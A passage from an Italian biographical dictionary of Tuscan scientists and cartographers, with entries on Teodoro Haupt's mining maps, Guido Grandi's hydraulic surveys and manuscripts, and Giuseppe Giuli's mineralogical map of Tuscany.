Scrive il granduca che “il regio consultore Haupt in quattordici anni di studio indefesso aveva compilato un Atlante di carte delle miniere toscane: questo, da me incoraggito, inviò all’esposizione mondiale di Londra e quel lavoro gli fruttò l’approvazione dei scienziati. Era mio consiglio che quell’Atlante delle miniere toscane fosse fatto noto, perché scienziati e speculatori si volgessero ad investigare li ascosi tesori di Toscana”. Tra l’altro, Haupt utilizzò in modo davvero applicativo in senso moderno la cartografia mineraria, come documenta lo stesso sovrano: “Haupt aveva segnato sulla carta della Toscana i punti di minerale già riconosciuti, congiunse con linee questi punti ed apparì che le intersecazioni delle linee cadevano sopra altri punti metallici riconosciuti già. Dove altre intersecazioni di linee nascevano, esso ricercò e trovò: seguitò così ad argomentare e trovò avverarsi in punti ancora sconosciuti esistenza di metalli. Così procedendo nacquero dei criteri in questa scienza più che altrove difficile in Toscana per le alterazioni avvenute nel suolo, e cominciò a trovare delle norme razionali a seguitar le ricerche” (Pesendorfer, a cura di, 1987, p. 482).
Alcune di queste figure – sette mappe di singoli bacini estrattivi e una carta topografica tematica mineraria della Toscana occidentale fra le Apuane e l’Amiata che utilizza come base la Carta Austriaca in scala 1:86.400 del 1851 – furono donate o vendute al Museo delle Miniere di Massa Marittima, che lo stesso ingegnere tedesco aveva contribuito a fondare nel 1851, e che da allora rappresenta un importante centro per la conservazione della memoria storica dell’attività estrattiva in Toscana.
Haupt è autore anche nel 1847 di un trattato a stampa sulle miniere e sull’industria mineraria della Toscana e il 29 giugno 1852 di un rapporto descrittivo sul sistema delle miniere del Massetano rimasto inedito (ASF, Ministero delle Finanze, f. 236, prot. 1, affare 9, anno 1858) (Rombai e Vivoli, 1996, pp. 159-161; Vitali, 1996, p. 317).

Produzione scientifica

Delle miniere e della loro industria in Toscana. Trattato di Teodoro Haupt, Firenze, Le Monnier, 1847;
Rendimento di conto del mio servizio in Italia, Firenze, Le Monnier, 1889.

Produzione di cartografia manoscritta:
Carta mineraria della Toscana occidentale e sei mappe di singoli bacini estrattivi delle Colline Metallifere, anni ’50 del XIX secolo (MMMM).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Rombai e Vivoli, 1996, pp. 159-161; Vitali, 1989, pp. 159-165; Vitali, 1996, p. 317; Francovich e Rombai, 1990, p. 699; Pesendorfer, a cura di, 1987, pp. 217, 283, 297, 474, 479 e 481; ASF, Ministero delle Finanze; MMMM; IGM.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Grandi, Guido Francesco Lodovico

Guido Francesco Lodovico Grandi
N. Cremona 10 ottobre 1671
M. Pisa 4 luglio 1742

Relazioni di parentela: Nato da Pietro Martire, un modesto ricamatore in oro, e Caterina Legati

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Sul piano culturale, Grandi – con il suo carattere vivace, la sua vena polemica e la sua sferzante ironia – “svolse una funzione determinante in Toscana e in Italia nel collegamento fra pensiero scientifico galileiano e cultura europea, fra sperimentalismo ed illuminismo”, tanto da essere accolto su proposta di Newton nella prestigiosa Royal Society di Londra. Egli è “difficilmente classificabile in una specializzazione tecnica precisa in quanto a lasciato tracce profonde in campo matematico, fisico, idraulico, filosofico, storico, ecclesiastico e letterario con le sue più di ottanta pubblicazioni e tantissimi manoscritti”.
Già nel 1707 ottenne il riconoscimento di matematico del Granducato, e posto a sovrintendere alle acque toscane, egli “formò un proprio gruppo di allievi presto divenuti validissimi ingegneri quasi tutti strutturati”, seppure a vario titolo, nell’amministrazione medicea e soprattutto lorenese di Toscana, tra i quali spiccano i nomi di Filippo Santini e Tommaso Perelli (Barsanti, 1994, p. 69).
Fu autore di innumerevoli pareri e memorie, scritti anche per perizie prestate al servizio di privati: alcune pubblicate, ben sette, nella Raccolta d’autori che trattano del moto dell’acque (edita a Firenze nel 1723, II, pp. 435-713, con la sua collaborazione; altre memorie vennero pubblicate nell’edizione successiva della Raccolta, quella di Bologna del 1821-1826, IV, pp. 5-310).
A queste perizie su aree del Granducato e della Repubblica di Lucca, si unirono relazioni sulla vexata quaestio della regolazione del fiume Reno (BUP, Mss., 36-41).
Ci limitiamo qui agli impegni territorialistici di maggiore rilievo dello scienziato svolti per l’amministrazione granducale o per altri Stati e privati.
Pare nello stesso anno 1707, Grandi, contro l’opinione di Eustachio Manfredi, “ebbe a censurare severamente l’inconsulto sistema di deviare in colmata tutti i torrenti del Canale Maestro delle Chiane, e di tenere questo canale chiuso con la pescaia de’ Monaci” (Di Pietro, 2005, p. 112).
Nella primavera del 1714 fu richiesto di un parere circa l’aggrovigliata causa del progetto di edificazione, da parte del marchese Niccolini, di un nuovo mulino sull’Era nella zona di Ponsacco, previa costruzione di una pescaia di derivazione delle acque fluviali, opera contestata dall’altro grande proprietario circostante, il marchese Riccardi: lo Stato e le parti in causa ricorsero a periti di gran nome, come gli ingegneri granducali Pier Antonio Tosi e Michele Gori e il matematico bolognese Eustachio Manfredi. Grandi dimostrò che la costruzione della pescaia “avrebbe finito per determinare l’allagamento in tempo di piena dei terreni superiori ed ostacolato lo scolo di tutta la campagna adiacente”. Successivamente, nel mese di giugno dello stesso anno, dopo altri accurati sopralluoghi e scandagli dell’alveo, suggerì ai giudici di “non voler permettere novità alcuna” all’assetto idraulico; e finalmente, agli inizi del 1715, tornò puntigliosamente a demolire le ragioni dei Niccolini avvalorate da una perizia del bolognese Geminiano Rondelli, tanto che il governo decise di negare qualsiasi autorizzazione alla costruzione della pescaia e del mulino (Barsanti, 1994, pp. 71-72).
Intanto, per ordine del Magistrato di Sanità, nel luglio 1714 Grandi era stato incaricato di visitare – in compagnia del capitano Giuseppe Santini – la pianura costiera fra Arno e Serchio per individuare le cause degli impaludamenti ivi presenti. Scoprì che il ristagno diffuso delle acque era causato non solo dalla naturale depressione dell’area, ma anche dall’incuria dei proprietari e dalla negligenza dell’Ufficio Fiumi e Fossi di Pisa, se è vero che scoli e fiumi apparivano “tutti ricolmi di terra e cannuccia” e molti corsi d’acqua addirittura ingombrati da argini e paratie abusivi per la pesca (Barsanti, 1994, p. 73).
Nel settembre dello stesso anno – nell’ambito del problema della rotta prodotta dal fiume Egola fra San Miniato e Ponte a Egola – Grandi propose ai Capitani di Parte di costruire un alto argine rinforzato con pignoni “di sasso grosso della Gonfolina”, ma tale suggerimento non fu accettato, e nel dicembre 1723 il matematico dovette occuparsi nuovamente della questione dell’allagamento prodotto dal corso d’acqua; insieme all’allievo Filippo Santini, figlio del capitano Giuseppe, disegnò una mappa dell’area e invitò i proprietari ad effettuare il raddrizzamento del fiume secondo un vecchio progetto degli ingegneri Pier Antonio Tosi e Giovanni Franchi, o quanto meno il rifacimento del meandro e la sua accurata manutenzione (Barsanti, 1994, p. 73).
Nel dicembre 1714, Grandi fu chiamato come perito per una causa prodotta da interventi edilizi a Pisa fra l’Ordine di S. Stefano e il Monte di Pietà cittadino (Barsanti, 1994, p. 73).
Nel 1715, e precisamente nel mese di gennaio, su ordine del granduca, il nostro scienziato ispezionò il ponte a due luci sul fosso della Vicinaia fra Pisa e San Giuliano, per il quale il grande proprietario fondiario dell’area, il duca di Massa e Carrara, aveva progettato il rifacimento ad un solo arco: Grandi autorizzò tale intervento in una memoria corredata “tre piccoli splendidi disegni” (Barsanti, 1994, p. 74).
Nel mese di marzo, Grandi visitò la pianura meridionale pisana – insieme con il soprintendente delle fattorie di Santo Stefano Lippi, con il sotto provveditore dell’Ufficio Fiumi e Fossi di Pisa Venturi e con l’ingegnere Giovanni Franchi – per osservare le colmate del torrente Isola nei paduli di Guinceri e Ghimerla e del torrente Tora nell’area della Risaia: per far meglio defluire le acque chiarificate, venne decisa la generale riescavazione di fossi e canali dell’intero territorio fino a Livorno e alle sue colline (Barsanti, 1994, p. 74).
Nel mese di aprile, il matematico – con l’auditore di Siena Sozzifanti, il provveditore dei Quattro Conservatori Cennni e il sotto provveditore dei Capitani di Parte Nardi – fu inviato a prendere visione della Maremma Grossetana, specialmente per valutare se il Secondo Navigante in corso di escavazione nell’area acquitrinosa fra Castiglione della Pescaia e Grosseto su progetto dell’ingegnere Giuliano Ciaccheri dovesse essere completato o meno: dopo sopralluoghi, misurazioni, livellazioni e rilevamento di una pianta d’insieme, la deputazione – con l’autorità scientifica di Grandi – rendicontava il 16 aprile da Siena al sovrano lo stato di disordine in cui versava il territorio per colpa degli appaltatori della pesca del lago-padule che addirittura – per trattenere il pesce – avevano chiuso cinque delle sei cateratte di deflusso in mare della zona umida, e consigliavano di completare il nuovo canale navigabile; invece, riguardo ai propositi di colmata del lago-padule con le acque dell’Ombrone, Grandi (richiamandosi a Galileo e ai galileiani) non esitò ad esprimere la sua contrarietà all’eliminazione totale di laghi e paduli, “perché qualche ricettacolo d’acqua era necessario di mantenersi: bensì conveniva invigilare che non si estendesse più del dovere”. Infine, con altra memoria del 29 giugno, si ribadiva l’utilità dell’ultimazione del Navigante, “per la comodità della navigazione, il rasciugamento dei terreni e il raffreddamento più stabile delle acque del lago tra i suoi argini, perché restasse regolato l’esito delle medesime alle Bocchette” (Barsanti, 1994, pp. 74-75).
Se l’attenzione per la Maremma fu occasionale e tutto sommato spazialmente circoscritta, ben più duraturo si rivelò l’interesse di Grandi per la bonifica del Padule di Fucecchio in Valdinievole. Già nel maggio 1715 fu incaricato dal marchese Francesco Feroni, proprietario della fattoria ex granducale di Bellavista, di verificare se le colmate da tempo in atto nelle adiacenti fattorie medicee di Ponte a Cappiano, Altopascio, Stabbia, Castelmartini e Terzo erano da ritenersi responsabili del crescente disordine idrografico in cui versavano i terreni più bassi di Bellavista. Al riguardo, lo scienziato sentenziò che – a causa della continua diminuzione dell’invaso lacustre-palustre per effetto della bonifica e della colonizzazione – “la natura non vuole essere ingannata, né sopraffatta dall’umana industria, essa sa farsi ragione da sé cercando di trovare altrove lo spazio perduto”, appunto con l’impaludamento di aree prima asciutte; di conseguenza, il Nostro avvertiva che la fattoria di Bellavista in ogni caso doveva essere nuovamente ricolmata, e più in generale le colmate – anziché continuare a restringere in modo disordinato il cuore residuo della zona umida – avrebbero dovuto recuperare i terreni “delle gronde”, ovvero le aree circostanti non ancora bonificate, con il procedere in modo ordinato, rialzando cioè prima i terreni superiori e poi gradualmente quelli inferiori per non creare ostacoli allo scorrimento delle acque (Barsanti, 1994, p. 76).
Di fronte alle critiche rivolte a Grandi dai difensori delle scriteriate bonifiche granducali, lo scienziato dovette tornare più volte, coraggiosamente, e con maggiori argomentazioni sulla questione. Anche nel febbraio 1717 polemizzò con le tesi degli ingegneri granducali Franchi e Boncinelli finalizzate ad una più approfondita canalizzazione del comprensorio del Padule, tornando a sostenere invece – con appoggio su memorie secentesche di tecnici quali Santini e Del Bianco, Giamberti e Cecchi – sia la necessità di un regolare rialzamento del piano di campagna del territorio agricolo da perseguire con un graduale programma di colmate, e sia l’esigenza di salvaguardare il lago residuo e di mantenerlo ricco d’acque per la salubrità dell’aria e per la sicurezza degli abitati del Valdarno di Sotto.
In effetti, ovunque egli si applicò alla trasformazione e gestione dei comprensori umidi, Grandi non volle “punto concorrere al disfare affatto il padule di Fucecchio – come qualsiasi altro lago-padule – perché se i laghi fossero venuti a mancare, sarebbe bisognato con arte scavare de’ nuovi”, e perché poi per legge di natura asciugato un padule ne scaturiva un altro come le teste dell’idra di Lerna tagliate da Ercole. Queste ferme e lungimiranti valutazioni furono ribadite in un’altra relazione dell’aprile 1718, quando tornò a misurare e rilevare tutto l’invaso palustre di Fucecchio con un moderno livello a doppio cannocchiale e a disegnarne una carta d’insieme con l’ingegnere e cavaliere stefaniano Carlo Giuseppe De Segnis, dalla quale operazione di livellazione trovò sicura conferma che il piano di campagna di Bellavista era inferiore a quello della zona umida (Barsanti, 1994, p. 77).
Questa precisa Pianta della Fattoria di Bellavista, e altre dimostrazioni fatte nel Padule di Fucecchio dall’Interessati (edita nell’opera Relazione delle operazioni fatte circa il Padule di Fucecchio, in Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Cambiagi, vol. VII, 1770, pp. 178-193), frutto di regolari operazioni metriche, rappresenta il prodotto cartografico migliore del Grandi (Gabellini, 1987, p. 150).
Mentre lavorava al padule di Fucecchio non vennero meno le altre commissioni. Basti dire che tra luglio e novembre 1715 dovette nuovamente occuparsi – insieme ai due ingegneri Santini padre e figlio – della questione dell’Era, prima per il cambio d’alveo proposto dal marchese Niccolini, e poi per realizzare un puntone ed altre opere di difesa in località Casone-La Cava presso la confluenza del torrente Roglio (Barsanti, 2004, pp. 77-78).
Nell’aprile 1716 riprese la visita della campagna meridionale pisana. Nell’area compresa fra il Fosso Reale e le colline dell’Era, i torrenti Isola, Tora, Orcina e Crespina che la solcavano trasportavano quantità ingenti di depositi solidi, per cui lo scienziato si convinse che l’unico rimedio per mantenere in equilibrio il sistema idraulico era quello di estendere le colmate in corso alla Lavoria di Collesalvetti, alla Risaia e al padule di Guinceri (Barsanti, 1994, p. 78).
Dal 6 al 31 ottobre 1716, Grandi fu coinvolto nella questione del Reno e della Romagna: con gli ingegneri Giuseppe Rossi, Romualdo Valeriani, Eustachio e Gabriello Manfredi venne nominato perito di parte pontificia, con il contrasto esistente fra le due città di Bologna e Ferrara, in una visita nel Ferrarese per stabilire le trasformazioni ivi intervenute dal 1693 (visita dei cardinali D’Adda e Barberini), e stabilire se fosse o meno profittevole indirizzare un corso d’acqua rovinoso per il suo regime torrentizio come il Reno nel Po Grande, come da molti proposto. La visita all’ampio territorio fra il delta del Po e le colline romagnole fu assai meticolosa, non mancando i periti “di fare sul campo di giorno il maggior numero possibile di profili, sezioni, schizzi, disegni e livellazioni poi accuratamente completati la sera in albergo”.
Le numerose lettere e memorie con i profili delle livellazioni redatti da Grandi costituirono la documentazione su cui la commissione arrivò a proporre l’immissione del Reno nel Po Grande mediante un nuovo canale diversivo che avrebbe dovuto consentire la stabile regimazione della pianura, il potenziamento della navigazione interna, il recupero agricolo di molti terreni infrigiditi e l’alimentazione di tanti mulini. I risultati furono discussi a Roma l’anno successivo, ma l’opposizione della città di Ferrara e di altri centri padani impedì alla Sacra Congregazione Pontificia delle Acque di approvare l’opera.
Ciò nonostante, l’attenzione di Grandi per la Romagna non venne meno. Nel 1718 si interessò ai problemi dei fiumi del Ravennate, e nell’ottobre 1719 fu ancora perito pontificio in una nuova visita al Reno e al Po che, con intervalli, si protrasse fino al maggio 1721 con altri tecnici (il fido Filippo Santini e l’amico C. Galiani, l’imperiale I. G. Marinoni, i fratelli bolognesi Manfredi, i mantovani Giovanni Ceva e D. Moscatelli Battaglia, il modenese D. Corradi, il veneto Bernardino Zendrini), a causa delle capillari misurazioni e livellazioni e delle piante da fare lungo il corso del Po da Pavia al mare e nel territorio del Polesine. Ma ancora una volta questa immane fatica scientifica non trovò l’accordo degli Stati interessati (Barsanti, 1994, pp. 78-80).
Tornato in Toscana dopo l’impegnativa esperienza romagnola, nel 1721 Grandi studiò la bonifica del comprensorio umido costiero di Porta o Beltrame presso Pietrasanta. Fra il novembre 1722 e l’ottobre 1724 si recò più volte (con gli ingegneri Gabrielli, Giannetti e Veraci) a visitare il Serchio fra Barga e Gallicano, per cercare di risolvere la disputa relativa ai lavori di difesa fluviale fatti dai toscani e contestati dai lucchesi; nell’occasione, venne disegnata una mappa dell’area a seguito di attente misurazioni e livellazioni (Barsanti, 1994, p. 84).
Dopo il 1723-24, l’attività idrometrica di Grandi sembra interrompersi per vari anni.
All’inizio del 1727, lo scienziato si disse contrario alla costruzione di un mulino nell’Albereta dell’Anconella a Firenze, perché il canale di derivazione delle acque era “pericoloso e fallace e contrario alle stabili leggi della natura”, essendo la ripa d’Arno già debole e soggetta a corrosioni ed esondazioni provocate dalla vicina pescaia di Rovezzano (Barsanti, 1994, p. 84). Nell’ottobre dello stesso anno venne incaricato di un parere sul torrente Fraga non lontano da Ponte a Moriano (Lucchesia), da secoli utilizzato per rifornire di acque – con derivazioni anche illecite – mulini e ville signorili (Barsanti, 1994, pp. 84-85).
Nel marzo 1728, Grandi si occupò della controversia esplosa fra i signori Boscaini e Magagnini circa la presa d’acqua di due mulini del Pisano, ed effettuò una visita a Livorno (con Filippo Santini) per verificare l’insabbiamento del porto che varie macchine escavatrici a tenaglia e a cucchiara cercavano di impedire. Nell’occasione, per bloccare le sabbie portate dai marosi, suggerì di costruire una scogliera dalla Torre del Marzocco all’imboccatura del porto e fece eseguire vari disegni e una pianta di Livorno (Barsanti, 1994, p. 85).
Dal 1729, Grandi fu nuovamente in Romagna come matematico pontificio: ebbe due incontri sulla questione Reno-Po a Faenza, divisi da una nuova visita all’area con tanto di misurazioni e piante, effettuata con I. G. Marinoni, Bernardino Zendrini, Eustachio Manfredi e Giovanni Ceva; ma ancora una volta la sua proposta di immettere il Reno e parte del ramo principale del Po in un nuovo diversivo da condurre nel Po di Volano fu respinta anche per la violenta opposizione di Ceva (DBI, ad vocem).
Tra il 1730 e il 1735, tornò al servizio del marchese Feroni per l’interminabile causa di Bellavista; l’escavazione del canale di derivazione delle acque – a fini di colmata – dal fiume Pescia di Pescia aveva incontrato l’opposizione degli altri proprietari dell’area, e lo scienziato fu incaricato di spiegare ai privati l’infondatezza delle loro preoccupazioni circa possibili future esondazioni nei loro terreni agricoli.
Con tre relazioni dei primi anni ‘30 e con l’avallo tecnico del solito Filippo Santini infine poté sentenziare che la bonifica del Feroni era stata effettuata a regola d’arte. Ma le conseguenze negative di colmate fatte in modo poco regolato non tardarono a manifestarsi, tanto che nel 1735 Grandi dovette prendere atto della realtà problematica e suggerire di riportare – dopo la Pescia – anche la Nievole nel suo letto antico (Barsanti, 1994, pp. 87-88).
Nel novembre 1734, si occupò dell’idea della Comunità di Sinalunga in Valdichiana di aprire un canale per far defluire le acque stagnanti dei Prati e per dare maggiore pendenza alla gora del mulino comunale di Monte Martino azionato dalla Foenna (di cui si erano già occupati Giuliano Ciaccheri alla fine del XVII secolo e Raffaello Nardi e Giovanni Franchi nel 1713). Grandi visitò l’area insieme agli ingegneri Luigi Orlandi e Pier Antonio Montucci e optò per il progetto steso nel febbraio di quello stesso anno da Filippo Santini, di costruire un fosso sottopassante la Foenna per scaricare le Acque nel Canale Maestro. L’Ordine di Santo Stefano chiese un parere su tale progetto ad Eustachio Manfredi che, con una relazione del giugno 1736, concordò con la proposta di Santini e Grandi e l’opera poté essere allora realizzata (Barsanti, 1994, p. 89).
Nel settembre 1735, fu richiesto di un parere dai grandi proprietari dell’area circa il “rimedio migliore per utilità, durabilità e dispendio” sulla sistemazione dell’emissario Usciana del padule di Fucecchio che era solito esondare le campagne. Un problema annoso che – nonostante le proposte degli ingegneri Giuliano Ciaccheri del 1675 e Pier Antonio Tosi e Ignazio Rossi del 1730 – non era mai stato risolto. Pochi mesi prima, anche Giovanni Veraci aveva consigliato di scavare un apposito fosso maestro di raccolta delle acque della pianura. Grandi, dopo aver esaminato tutte queste memorie, optò per l’antifosso ideato da Ciaccheri, da realizzare parallelo all’Usciana, apportandovi alcune correzioni circa lo sbocco in Arno (Barsanti, 1994, pp. 88-89).
Nell’aprile 1736, il priore della chiesa della Compagnia del S. Crocifisso di Pontasserchio gli chiese se convenisse demolire e poi ricostruire ex novo – come voleva l’ingegnere Giuseppe Maria Forasassi – oppure se restaurare – come consigliava Filippo Santini – l’edificio religioso che minacciava di crollare. Lo scienziato visitò il fabbricato e progettò il suo consolidamento con quattro pilastri esterni a forma di barbacane (Barsanti, 1994, p. 90).
L’ultima fatica idraulica fu il problema del taglio d’Arno al meandro di Barbaricina presso Pisa (già studiato da Cornelio Meyer e Vincenzo Viviani). Lo scienziato nell’ottobre 1737 – ormai malato e impossibilitato a scrivere e disegnare – fece redigere ad un suo assistente la mappa dell’area e sostenne che la costosa canalizzazione non era del tutto necessaria perché non avrebbe rimosso i rischi di esondazione e quindi di impaludamento della bassa pianura, in quanto subito a monte restavano altre sinuosità ancora più pericolose. Proponeva, in alternativa, di realizzare robuste opere di difesa spondale e l’approfondimento dell’alveo (Barsanti, 1994, p. 90).
In definitiva, nonostante la grande mole di lavoro svolto, Grandi non ha legato il suo nome a nessuna grande operazione idraulica. Anche la produzione cartografica in Grandi non risulta copiosa e in parte non è stata rinvenuta. “Eppure possedeva precisione, capacità figurative e doti estetiche non indifferenti come si può notare soprattutto in alcuni bei prospetti di edifici (molini del Po, ponte di Vicinaia, molini e case coloniche dell’Anconella, ecc.) (Barsanti, 1994, p. 91).


Produzione scientifica

Opere a stampa: Informazione agli Ill.mi Sigg. Commissari ed Ufficiali dell’Ufficio dei Fossi della città di Pisa circa una nuova terminazione proposta sul fiume Era (1715), Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Tartini e Franchi, 1723, vol. II, pp. 659-671;
Relazione prima all’Ill.mo Marchese F. Feroni circa il Padule di Fucecchio e i danni che cagiona a Bellavista (26 maggio 1715), Lucca, Venturini, 1715;
Relazione seconda sopra gli affari di Bellavista ed i lavori proposti nel Lago di Fucecchio dall’Ill.mo Marchese F. Feroni (1° febbraio 1717), Lucca, Venturini, 1718;
Relazione delle operazioni fatte circa il Padule di Fucecchio ad istanza degli interessati e riflessioni sopra le medesime (4 aprile 1718), Lucca, Venturini, 1718;
Relazione delle operazioni fatte circa il Padule di Fucecchio, in Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Cambiagi, vol. VII, 1770, pp. 178-193;
Relazione sopra il Valdarno Inferiore (1735), in Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Cambiagi, vol. IX, 1774, pp. 231-242.
Opere manoscritte: Relazione sul mulino sull’Era, e Risposta al parere di Eustachio Manfredi, 1714 (BUP, Manoscritti, 39, XV, cc. 30-34r e 115r-117v), Relazione, 1714 (BUP, Manoscritti, 39, X, cc. 72r-100r), Relazione, 1715 (BUP, Manoscritti, 39, XI, cc. 101r-106r);
Visita e parere sopra le acque del piano di Pisa, 30 luglio 1714 (BUP, Manoscritti, 38, n. 7, cc. 18r-22v);
Memoria sulla rotta cagionata dal fiume Evola, 19 settembre 1714 (BUP, Manoscritti, 38, n. 34, cc. 161r-161v), e Memoria con pianta, con Filippo Santini, dicembre 1723 (BUP, Manoscritti, 38, n. 33, cc. 158r-160r);
Relazione e visita sopra il ponte del fosso della Vicinaia con tre disegni del ponte, 1715 (BUP, Manoscritti, 39, XVII, cc. 176r-178r);
Relazione della visita delle colmate fatte col fiume Isola, 1715 (BUP, Manoscritti, 38, n. 5, cc. 14r-15r);
Lettera a S.A.R., 16 aprile 1715 (BUP, Manoscritti, 38, n. 24, cc. 104r-105r), Lettera a D. A. Cennini, 12 giugno 1715, e Relazione sulla Maremma (BUP, Manoscritti, 38, n. 24, cc. 66r-76v), e Relazione sugli affari di Grosseto, 29 giugno 1715 (BUP, Manoscritti, 38, n. 24, cc. 92r-93v);
Risposta di Guido Grandi all’Autore delle Specificazioni sopra le colmate, e Replica di Guido Grandi all’Aggiunta di Specificazioni, 1715-16 (BUP, Manoscritti, 40, XV e XVI, cc. 208r-213r e 214r-217bis, e XVII, cc. 218r-223v);
Memoria, 17 luglio 1718 (BUP, Manoscritti, 40, XI, cc. 151r-181v);
Memoria, 1718 (BUP, Manoscritti, 40, XIII, cc. 187r-203r);
Considerazioni sopra le torbe delle acque che scorrono per la parte di Stagno, 18 aprile 1716 (BUP, Manoscritti, 38, n. 2, cc. 6r-7v);
Osservazioni circa il progetto del diversivo del Reno nel Po; Risultato delle livellazioni; Diario della visita del Reno; Parere dell’introduzione del Reno nel Po; Riflessioni sopra le acque del Reno, Po e diversivo; Lettera; Livellazioni diverse; Atti della visita al Reno e Po dell’ottobre 1716; Sezioni e profili (BUP, Manoscritti, 37, I, cc. 3r-11v e 12r-v, III, cc. 13r-30r, IV, cc. 31r-32v, IX, cc. 79r-80v, XIV, cc. 87r-111v, XVIII, cc. 236r ss., 36, n. 3, cc. 6r-32v, n. 4, cc. 34r-56v);
Perizie e lettere varie sul diversivo del Reno (BUP, Manoscritti, 39, XVI, cc. 125r-131r);
Discorso sulla velocità delle acque e osservazioni di vari torrenti (BUP, Manoscritti, 39, XII, cc. 107r-111v);
Relazione sui fiumi di Ravenna (BUP, Manoscritti, 39, XVI, 28 e 29, cc. 167r-169v);
Nomina, 14 ottobre 1719 (BUP, Manoscritti, 36, n. 5, cc. 58r-v);
Diario della visita del 1718-19; Diario della visita del 1721; lettere e memorie varie (BUP, Manoscritti, 36, n. 6, cc. 60r-135v, n. 8, cc. 138r-153r, 37, docc. V, VI e VIII, cc. 45 ss.);
Relazione della visita sul Serchio; Relazione della visita per la causa Barga-Gallicano (BUP, Manoscritti, 38, n. 44, cc. 239r-241v, n. 50, cc. 268r-270r);
Relazione con mappa dell’Anconella, 1727 (BUP, Manoscritti, 42, XXI, cc. 214r-223r);
Relazione sul torrente Fraga, 1728 (BUP, Manoscritti, 38, nn. 25-32, cc. 109r-155r);
Memoria sopra l’acqua d’un mulino del Sig. Boscaini, 8 marzo 1728 (BUP, Manoscritti, 42, XX, cc. 212r-v);
Visita al porto di Livorno, con carte varie, 1728 (BUP, Manoscritti, 38, n. 12, cc. 56r-57v, nn. 52-76, cc. 278r-419r);
Diario della visita del Po del 1729; Riflessioni sulla quantità d’acqua da estrarsi dal Po; Continuazione del Diario; Opposizione dei Modenesi; Prospetto di livellazione del 22 giugno 1729, Replica a Giovanni Ceva (BUP, Manoscritti, 36, n. 35, cc. 301r-315v, n. 36, cc. 323r-324r, nn. 40 e 43, cc. 37r-330r e 333r-334v, n. 44, c. 335, n. 45, cc. 341r-342r, n. 37, cc. 317r-323v);
Scrittura prima alla R. Consulta in risposta al ristretto di ragioni del R. Capitolo Fiorentino nella causa della restituzione del fiume Pescia di Pescia nel suo letto antico; Scrittura seconda; Scrittura terza, con documenti di corredo (BUP, Manoscritti, 40, I, cc. 2r-18r, II, cc. 19r-31r, III, cc. 64r-80r);
Lettera circa la restituzione della Nievole nell’antico suo letto, luglio 1735; Scrittura sopra le colmate di Bellavista; Pregiudizi che ha ricevuto e riceve la Fattoria di Bellavista dalle colmate della Fattoria del Terzo (BUP, Manoscritti, 40, XXIII, cc. 336r-339r, XXIV-XXV, cc. 349r-354v e 355r-364r, XXX, cc. 380r-381r);
Visita alla Gusciana, 1735 (BUP, Manoscritti, 39, XXI, cc. 185r-317r);
Scritti, memorie e lettere intorno agli scoli delle acque stagnanti di Sinalunga (BUP, Manoscritti, 41, n. 24, cc. 113r-116v e 134r-135v, n. 25, cc. 117r-118r, n. 26, cc. 119r-122r, n. 33, cc. 1385-153v, n. 49, cc. 209r-235);
Richiesta di parere, aprile 1736; e Parere sulla chiesa di Pontasserchio, 26 maggio 1736 (BUP, Manoscritti, 39, XVI, 30, cc. 170r-v, e 31, cc. 171r-173r);
Scrittura agli Ill.mi Commissari et agli Uffiziali de’ Fossi circa il rimedio dovuto alla corrosione della destra sponda dell’Arno dirimpetto a Barbaricina, 9 ottobre 1737 (BUP, Manoscritti, 42, XX, cc. 50r-54v);

Produzione di cartografia manoscritta:
Tre disegni del ponte a due luci sul fosso della Vicinaia fra Pisa e San Giuliano, 1715 (BUP, Manoscritti, 39, XVII, cc. 176r-178r);
Pianta della pianura di Grosseto, aprile 1715 (BUP, Manoscritti, 38, n. 24, cc. 104r-105r);
Pianta della Fattoria di Bellavista, e altre dimostrazioni fatte nel Padule di Fucecchio dall’Interessati, con l’ingegnere Carlo Giuseppe de Segni, 1718 (edita in Relazione delle operazioni fatte circa il Padule di Fucecchio, in Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Cambiagi, vol. VII, 1770, pp. 178-193);
Pianta della rotta del fiume Evola, con Filippo Santini, dicembre 1723 (BUP, Manoscritti, 38, n. 33, cc. 158r-160r);
Relazioni, 1715-23 (BUP, Manoscritti, 39, I-III, cc. 1r-4v, 5r-14v e 15r-24v);
Relazione e visita, 22 maggio 1716 (BUP, Manoscritti, 39, VIII, cc. 35r-37r);
Relazione con mappa dell’Anconella a Firenze, 1727 (BUP, Manoscritti, 42, XXI, cc. 214r-223r);

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, 1988, pp. 33-73; Barsanti, 1994, pp. 69-95; Gabellini, 1987, p. 150; Di Pietro, 2005, p. 112; DBI, ad vocem; BUP, Mss.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Giuli, Giuseppe

Giuseppe Giuli
N. 1778
M. 1851

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Medico e naturalista (botanico, chimico e studioso di storia naturale) senese

Biografia:

Produzione scientifica:
Dal 1822 fu docente di Scienze Naturali e Botanica nello Studio di Siena ove diresse anche l’Orto Botanico.
Fu autore di svariati saggi sulle acque minerali toscane e su altri argomenti di varia cultura. Nella “Continuazione Atti dell’Accademia dei Georgofili”, pubblicò due lavori: Sulla distillazione del sugo fermentato dei frutti del Sambucus Ebulus, vol. VIII (1807), pp. 388-407; e Memoria sull’istituzione del Monte dei Paschi di Siena, vol. IV (1818), pp. 202-230.
Fu anche direttore dei Bagni di Montecatini.
Al 1835 risale il suo Progetto [a stampa] d’una carta geognostica ed orictonostica della Toscana per servire alla tecnologia, o al modo di rendere utili i minerali del Granducato alle arti, ed alle manifatture che venne ultimata nel 1840 e pubblicata nel 1843 (insieme ad una memoria interpretativa o Saggio statistico di mineralogia utile della Toscana per servire agli ingegneri, ai possidenti, ai medici, agli artisti e manifattori ed ai commercianti), alla scala di 1:200.000, con utilizzazione della Carta geometrica della Toscana di Giovanni Inghirami del 1831. Con velature cromatiche, si raffigurano i vari tipi di terreni e i diversi giacimenti minerali. Nonostante i tanti errori di classificazione di rocce e minerali (dovuti alle sue fonti, rispettivamente Abram Gottlob Werner e Francois-Sulplice Beudant) (Vitali, 1996, p. 312), questa rappresentazione tematica è particolarmente apprezzabile in quanto costituisce in assoluto una delle prime carte mineralogico-geologiche italiane.


